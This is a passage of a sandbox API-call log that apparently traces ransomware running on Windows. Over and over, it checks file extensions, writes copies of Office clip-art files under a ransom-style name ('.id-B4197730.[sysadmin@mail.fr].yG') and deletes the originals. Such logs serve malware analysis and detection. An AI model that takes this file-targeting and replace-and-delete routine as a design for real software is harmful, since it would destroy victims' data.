	[0152.252] lstrlenW (lpString=".dbf") returned 4
	[0152.253] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0152.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68
	[0152.253] lstrlenW (lpString=".1cd") returned 4
	[0152.253] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0152.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68
	[0152.253] lstrlenW (lpString=".jpg") returned 4
	[0152.253] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0152.253] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0152.253] lstrlenW (lpString="IN00346_.WMF") returned 12
	[0152.253] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00346_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0152.254] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=696) returned 1
	[0152.254] CloseHandle (hObject=0x388) returned 1
	[0152.254] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00346_.wmf")) returned 0x220
	[0152.254] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00346_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0152.255] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00346_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0152.255] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0152.255] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0152.255] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00346_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0152.256] GetLastError () returned 0x0
	[0152.256] ReadFile (in: hFile=0x388, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x2b8, lpOverlapped=0x0) returned 1
	[0152.257] WriteFile (in: hFile=0x540, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0x2c0, lpOverlapped=0x0) returned 1
	[0152.258] ReadFile (in: hFile=0x388, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0152.258] WriteFile (in: hFile=0x540, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0152.258] SetEndOfFile (hFile=0x540) returned 1
	[0152.258] CloseHandle (hObject=0x540) returned 1
	[0152.259] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0152.259] SetEndOfFile (hFile=0x388) returned 1
	[0152.262] CloseHandle (hObject=0x388) returned 1
	[0152.262] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0152.263] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00346_.wmf")) returned 1
	[0152.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68
	[0152.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68
	[0152.263] lstrlenW (lpString=".doc") returned 4
	[0152.263] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0152.263] lstrlenW (lpString=".docx") returned 5
	[0152.263] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0152.264] lstrlenW (lpString=".pdf") returned 4
	[0152.264] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0152.264] lstrlenW (lpString=".xls") returned 4
	[0152.264] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0152.264] lstrlenW (lpString=".xlsx") returned 5
	[0152.264] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0152.264] lstrlenW (lpString=".ppt") returned 4
	[0152.264] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0152.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68
	[0152.264] lstrlenW (lpString=".zip") returned 4
	[0152.264] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0152.264] lstrlenW (lpString=".rar") returned 4
	[0152.264] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0152.264] lstrlenW (lpString=".bz2") returned 4
	[0152.264] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0152.264] lstrlenW (lpString=".7z") returned 3
	[0152.264] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0152.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68
	[0152.264] lstrlenW (lpString=".dbf") returned 4
	[0152.264] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0152.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68
	[0152.264] lstrlenW (lpString=".1cd") returned 4
	[0152.264] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0152.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68
	[0152.264] lstrlenW (lpString=".jpg") returned 4
	[0152.264] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0152.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68
	[0152.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68
	[0152.265] lstrlenW (lpString=".doc") returned 4
	[0152.265] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0152.265] lstrlenW (lpString=".docx") returned 5
	[0152.265] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0152.265] lstrlenW (lpString=".pdf") returned 4
	[0152.265] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0152.265] lstrlenW (lpString=".xls") returned 4
	[0152.265] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0152.265] lstrlenW (lpString=".xlsx") returned 5
	[0152.265] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0152.265] lstrlenW (lpString=".ppt") returned 4
	[0152.265] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0152.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68
	[0152.265] lstrlenW (lpString=".zip") returned 4
	[0152.265] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0152.265] lstrlenW (lpString=".rar") returned 4
	[0152.265] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0152.265] lstrlenW (lpString=".bz2") returned 4
	[0152.265] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0152.265] lstrlenW (lpString=".7z") returned 3
	[0152.265] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0152.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68
	[0152.265] lstrlenW (lpString=".dbf") returned 4
	[0152.265] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0152.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68
	[0152.266] lstrlenW (lpString=".1cd") returned 4
	[0152.266] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0152.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68
	[0152.266] lstrlenW (lpString=".jpg") returned 4
	[0152.266] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0152.266] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0152.266] lstrlenW (lpString="IN00351_.WMF") returned 12
	[0152.266] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00351_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0152.267] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=1928) returned 1
	[0152.267] CloseHandle (hObject=0x388) returned 1
	[0152.267] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00351_.wmf")) returned 0x220
	[0152.267] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00351_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0152.267] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00351_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0152.268] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0152.268] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0152.268] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00351_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0152.268] GetLastError () returned 0x0
	[0152.268] ReadFile (in: hFile=0x388, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x788, lpOverlapped=0x0) returned 1
	[0152.272] WriteFile (in: hFile=0x540, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0x790, lpOverlapped=0x0) returned 1
	[0152.273] ReadFile (in: hFile=0x388, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0152.273] WriteFile (in: hFile=0x540, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0152.274] SetEndOfFile (hFile=0x540) returned 1
	[0152.274] CloseHandle (hObject=0x540) returned 1
	[0152.274] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0152.274] SetEndOfFile (hFile=0x388) returned 1
	[0152.701] CloseHandle (hObject=0x388) returned 1
	[0152.702] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0152.705] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00351_.wmf")) returned 1
	[0152.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68
	[0152.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68
	[0152.706] lstrlenW (lpString=".doc") returned 4
	[0152.706] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0152.706] lstrlenW (lpString=".docx") returned 5
	[0152.706] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0152.706] lstrlenW (lpString=".pdf") returned 4
	[0152.706] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0152.706] lstrlenW (lpString=".xls") returned 4
	[0152.707] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0152.707] lstrlenW (lpString=".xlsx") returned 5
	[0152.707] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0152.707] lstrlenW (lpString=".ppt") returned 4
	[0152.707] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0152.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68
	[0152.707] lstrlenW (lpString=".zip") returned 4
	[0152.707] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0152.707] lstrlenW (lpString=".rar") returned 4
	[0152.707] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0152.707] lstrlenW (lpString=".bz2") returned 4
	[0152.707] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0152.707] lstrlenW (lpString=".7z") returned 3
	[0152.707] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0152.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68
	[0152.707] lstrlenW (lpString=".dbf") returned 4
	[0152.707] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0152.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68
	[0152.707] lstrlenW (lpString=".1cd") returned 4
	[0152.707] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0152.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68
	[0152.707] lstrlenW (lpString=".jpg") returned 4
	[0152.707] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0152.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68
	[0152.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68
	[0152.707] lstrlenW (lpString=".doc") returned 4
	[0152.708] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0152.708] lstrlenW (lpString=".docx") returned 5
	[0152.708] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0152.708] lstrlenW (lpString=".pdf") returned 4
	[0152.708] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0152.708] lstrlenW (lpString=".xls") returned 4
	[0152.708] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0152.708] lstrlenW (lpString=".xlsx") returned 5
	[0152.708] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0152.708] lstrlenW (lpString=".ppt") returned 4
	[0152.708] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0152.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68
	[0152.708] lstrlenW (lpString=".zip") returned 4
	[0152.708] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0152.708] lstrlenW (lpString=".rar") returned 4
	[0152.708] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0152.708] lstrlenW (lpString=".bz2") returned 4
	[0152.708] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0152.708] lstrlenW (lpString=".7z") returned 3
	[0152.708] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0152.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68
	[0152.708] lstrlenW (lpString=".dbf") returned 4
	[0152.708] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0152.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68
	[0152.708] lstrlenW (lpString=".1cd") returned 4
	[0152.708] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0152.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68
	[0152.708] lstrlenW (lpString=".jpg") returned 4
	[0152.709] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0152.709] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0152.709] lstrlenW (lpString="IN00915_.WMF") returned 12
	[0152.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00915_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0152.710] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=12748) returned 1
	[0152.710] CloseHandle (hObject=0x388) returned 1
	[0152.710] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00915_.wmf")) returned 0x220
	[0152.711] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00915_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0152.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00915_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0152.711] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0152.711] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0152.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00915_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0152.712] GetLastError () returned 0x0
	[0152.712] ReadFile (in: hFile=0x388, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x31cc, lpOverlapped=0x0) returned 1
	[0152.714] WriteFile (in: hFile=0x51c, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0x31d0, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0x31d0, lpOverlapped=0x0) returned 1
	[0152.716] ReadFile (in: hFile=0x388, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0152.716] WriteFile (in: hFile=0x51c, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0152.716] SetEndOfFile (hFile=0x51c) returned 1
	[0152.716] CloseHandle (hObject=0x51c) returned 1
	[0152.716] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0152.716] SetEndOfFile (hFile=0x388) returned 1
	[0153.144] CloseHandle (hObject=0x388) returned 1
	[0153.144] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0153.144] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00915_.wmf")) returned 1
	[0153.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68
	[0153.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68
	[0153.145] lstrlenW (lpString=".doc") returned 4
	[0153.145] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0153.145] lstrlenW (lpString=".docx") returned 5
	[0153.145] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0153.145] lstrlenW (lpString=".pdf") returned 4
	[0153.145] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0153.145] lstrlenW (lpString=".xls") returned 4
	[0153.145] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0153.146] lstrlenW (lpString=".xlsx") returned 5
	[0153.146] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0153.146] lstrlenW (lpString=".ppt") returned 4
	[0153.146] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0153.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68
	[0153.146] lstrlenW (lpString=".zip") returned 4
	[0153.146] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0153.146] lstrlenW (lpString=".rar") returned 4
	[0153.146] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0153.146] lstrlenW (lpString=".bz2") returned 4
	[0153.146] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0153.146] lstrlenW (lpString=".7z") returned 3
	[0153.146] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0153.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68
	[0153.146] lstrlenW (lpString=".dbf") returned 4
	[0153.146] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0153.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68
	[0153.146] lstrlenW (lpString=".1cd") returned 4
	[0153.146] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0153.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68
	[0153.146] lstrlenW (lpString=".jpg") returned 4
	[0153.146] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0153.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68
	[0153.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68
	[0153.146] lstrlenW (lpString=".doc") returned 4
	[0153.147] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0153.147] lstrlenW (lpString=".docx") returned 5
	[0153.147] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0153.147] lstrlenW (lpString=".pdf") returned 4
	[0153.147] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0153.147] lstrlenW (lpString=".xls") returned 4
	[0153.147] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0153.147] lstrlenW (lpString=".xlsx") returned 5
	[0153.147] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0153.147] lstrlenW (lpString=".ppt") returned 4
	[0153.147] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0153.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68
	[0153.147] lstrlenW (lpString=".zip") returned 4
	[0153.147] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0153.147] lstrlenW (lpString=".rar") returned 4
	[0153.147] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0153.147] lstrlenW (lpString=".bz2") returned 4
	[0153.147] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0153.147] lstrlenW (lpString=".7z") returned 3
	[0153.147] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0153.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68
